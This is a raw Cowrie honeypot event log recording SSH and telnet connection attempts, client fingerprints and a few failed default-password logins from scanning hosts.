{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:39:52.517142Z","src_ip":"80.94.92.186","session":"87e5785c606c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:39:53.165422Z","src_ip":"80.94.92.186","session":"87e5785c606c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:39:54.417789Z","src_ip":"80.94.92.186","session":"87e5785c606c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00180721282959,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:40:02.045207Z","src_ip":"152.59.19.2","session":"da6706b31fc2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00293350219727,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:40:03.132469Z","src_ip":"152.59.19.2","session":"0dacc713dcb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00423789024353,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:40:03.138559Z","src_ip":"152.59.19.2","session":"5d9346e7771d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.19.2","src_port":45796,"dst_ip":"159.203.135.109","dst_port":23,"session":"f72a9a25692d","protocol":"telnet","message":"New connection: 152.59.19.2:45796 (159.203.135.109:23) [session: f72a9a25692d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:40:03.787539Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.19.2","src_port":64530,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c78ecd347a2","protocol":"telnet","message":"New connection: 152.59.19.2:64530 (159.203.135.109:23) [session: 3c78ecd347a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:40:03.952282Z"}
{"eventid":"cowrie.session.closed","duration":120.00168466567993,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:40:04.197878Z","src_ip":"152.59.19.2","session":"1a2a906a8d61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.19.2","src_port":45880,"dst_ip":"159.203.135.109","dst_port":23,"session":"009bf904e6f5","protocol":"telnet","message":"New connection: 152.59.19.2:45880 (159.203.135.109:23) [session: 009bf904e6f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:40:04.720742Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.19.2","src_port":11611,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ba33f9ca2a1","protocol":"telnet","message":"New connection: 152.59.19.2:11611 (159.203.135.109:23) [session: 5ba33f9ca2a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:40:06.570987Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34738,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4cda1722adf","protocol":"ssh","message":"New connection: 159.203.92.129:34738 (159.203.135.109:22) [session: d4cda1722adf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:40:23.744760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:40:23.749627Z","src_ip":"159.203.92.129","session":"d4cda1722adf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:40:23.757728Z","src_ip":"159.203.92.129","session":"d4cda1722adf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaaaaa","password":"aaaaaa1234","message":"login attempt [aaaaaa/aaaaaa1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:40:23.773529Z","src_ip":"159.203.92.129","session":"d4cda1722adf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:40:24.780533Z","src_ip":"159.203.92.129","session":"d4cda1722adf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.174","src_port":55044,"dst_ip":"10.17.0.5","dst_port":23,"session":"26228db5068e","protocol":"telnet","message":"New connection: 66.132.186.174:55044 (10.17.0.5:23) [session: 26228db5068e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:40:28.613381Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.206.126.5","src_port":35231,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cb8d693b6ba","protocol":"telnet","message":"New connection: 185.206.126.5:35231 (10.17.0.5:23) [session: 1cb8d693b6ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:40:36.292799Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":47022,"dst_ip":"10.17.0.5","dst_port":23,"session":"fda4063678a4","protocol":"telnet","message":"New connection: 104.248.46.74:47022 (10.17.0.5:23) [session: fda4063678a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:40:38.208031Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":48280,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe73aec25ac4","protocol":"telnet","message":"New connection: 104.248.46.74:48280 (10.17.0.5:23) [session: fe73aec25ac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:40:42.206286Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":48278,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9fc2d8cd83d","protocol":"telnet","message":"New connection: 104.248.46.74:48278 (10.17.0.5:23) [session: e9fc2d8cd83d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:40:42.210114Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":48610,"dst_ip":"10.17.0.5","dst_port":23,"session":"014ba63f0e55","protocol":"telnet","message":"New connection: 104.248.46.74:48610 (10.17.0.5:23) [session: 014ba63f0e55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:40:43.220578Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":48612,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfe5346ded14","protocol":"telnet","message":"New connection: 104.248.46.74:48612 (10.17.0.5:23) [session: cfe5346ded14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:40:43.234899Z"}
{"eventid":"cowrie.session.closed","duration":16.432104349136353,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:40:45.045392Z","src_ip":"66.132.186.174","session":"26228db5068e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":52634,"dst_ip":"10.17.0.5","dst_port":23,"session":"01f198af071b","protocol":"telnet","message":"New connection: 167.71.198.239:52634 (10.17.0.5:23) [session: 01f198af071b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:40:45.643280Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":49830,"dst_ip":"10.17.0.5","dst_port":23,"session":"48d3d23f1e49","protocol":"telnet","message":"New connection: 104.248.46.74:49830 (10.17.0.5:23) [session: 48d3d23f1e49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:40:47.346295Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":50260,"dst_ip":"10.17.0.5","dst_port":23,"session":"55b2a244891b","protocol":"telnet","message":"New connection: 104.248.46.74:50260 (10.17.0.5:23) [session: 55b2a244891b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:40:49.247222Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.174","src_port":7956,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfc5cea85f89","protocol":"telnet","message":"New connection: 66.132.186.174:7956 (10.17.0.5:23) [session: bfc5cea85f89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:40:50.298045Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":60012,"dst_ip":"159.203.135.109","dst_port":22,"session":"5169e771c2e4","protocol":"ssh","message":"New connection: 103.63.108.25:60012 (159.203.135.109:22) [session: 5169e771c2e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:40:51.482706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:40:51.487341Z","src_ip":"103.63.108.25","session":"5169e771c2e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:40:51.769793Z","src_ip":"103.63.108.25","session":"5169e771c2e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":54070,"dst_ip":"10.17.0.5","dst_port":23,"session":"887139e34b18","protocol":"telnet","message":"New connection: 167.71.198.239:54070 (10.17.0.5:23) [session: 887139e34b18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:40:52.637665Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"homayoum","message":"login attempt [admin/homayoum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:40:52.899165Z","src_ip":"103.63.108.25","session":"5169e771c2e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":51130,"dst_ip":"10.17.0.5","dst_port":23,"session":"0dde80247c93","protocol":"telnet","message":"New connection: 104.248.46.74:51130 (10.17.0.5:23) [session: 0dde80247c93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:40:53.296292Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:40:54.183425Z","src_ip":"103.63.108.25","session":"5169e771c2e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.015441417694092,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:40:54.313355Z","src_ip":"66.132.186.174","session":"bfc5cea85f89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":51502,"dst_ip":"10.17.0.5","dst_port":23,"session":"1009466981a6","protocol":"telnet","message":"New connection: 104.248.46.74:51502 (10.17.0.5:23) [session: 1009466981a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:40:55.211258Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":40628,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f7f455a0831","protocol":"telnet","message":"New connection: 77.72.5.107:40628 (10.17.0.5:23) [session: 0f7f455a0831]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:40:57.266947Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":51564,"dst_ip":"10.17.0.5","dst_port":23,"session":"d019cba240af","protocol":"telnet","message":"New connection: 185.26.126.47:51564 (10.17.0.5:23) [session: d019cba240af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:40:58.201440Z"}
{"eventid":"cowrie.session.closed","duration":120.00163841247559,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:40:58.811690Z","src_ip":"193.239.26.142","session":"9bb867d3eb7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.239.26.142","src_port":56424,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8b00cf22887","protocol":"telnet","message":"New connection: 193.239.26.142:56424 (10.17.0.5:23) [session: e8b00cf22887]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:40:59.283993Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":41394,"dst_ip":"10.17.0.5","dst_port":23,"session":"84e7aa534cfe","protocol":"telnet","message":"New connection: 77.72.5.107:41394 (10.17.0.5:23) [session: 84e7aa534cfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:01.237672Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":55940,"dst_ip":"10.17.0.5","dst_port":23,"session":"5eab0e174d35","protocol":"telnet","message":"New connection: 167.71.198.239:55940 (10.17.0.5:23) [session: 5eab0e174d35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:01.616925Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.174","src_port":33464,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8586d0daf9f","protocol":"telnet","message":"New connection: 66.132.186.174:33464 (10.17.0.5:23) [session: e8586d0daf9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:02.756950Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":43904,"dst_ip":"10.17.0.5","dst_port":23,"session":"732588a94908","protocol":"telnet","message":"New connection: 107.152.33.170:43904 (10.17.0.5:23) [session: 732588a94908]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:03.113992Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.68","src_port":58318,"dst_ip":"10.17.0.5","dst_port":23,"session":"bce7c926e627","protocol":"telnet","message":"New connection: 160.187.180.68:58318 (10.17.0.5:23) [session: bce7c926e627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:03.747741Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":56646,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a0ac5f9bdb1","protocol":"telnet","message":"New connection: 167.71.198.239:56646 (10.17.0.5:23) [session: 1a0ac5f9bdb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:04.696997Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":53740,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4fec6defc67","protocol":"telnet","message":"New connection: 104.248.46.74:53740 (10.17.0.5:23) [session: c4fec6defc67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:05.235443Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.68","src_port":58320,"dst_ip":"10.17.0.5","dst_port":23,"session":"c62b66e8c1a9","protocol":"telnet","message":"New connection: 160.187.180.68:58320 (10.17.0.5:23) [session: c62b66e8c1a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:05.583918Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":54350,"dst_ip":"10.17.0.5","dst_port":23,"session":"9270a4d7ce49","protocol":"telnet","message":"New connection: 185.26.126.47:54350 (10.17.0.5:23) [session: 9270a4d7ce49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:08.262728Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45170,"dst_ip":"159.203.135.109","dst_port":22,"session":"690ed1ab051c","protocol":"ssh","message":"New connection: 159.203.92.129:45170 (159.203.135.109:22) [session: 690ed1ab051c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:08.551360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:08.556010Z","src_ip":"159.203.92.129","session":"690ed1ab051c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:08.562763Z","src_ip":"159.203.92.129","session":"690ed1ab051c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaaaaa","password":"aaaaaa321","message":"login attempt [aaaaaa/aaaaaa321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:08.573830Z","src_ip":"159.203.92.129","session":"690ed1ab051c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.86688780784607,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:09.074794Z","src_ip":"104.248.46.74","session":"fda4063678a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:09.579453Z","src_ip":"159.203.92.129","session":"690ed1ab051c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.68","src_port":58322,"dst_ip":"10.17.0.5","dst_port":23,"session":"fddec6199fc1","protocol":"telnet","message":"New connection: 160.187.180.68:58322 (10.17.0.5:23) [session: fddec6199fc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:09.635781Z"}
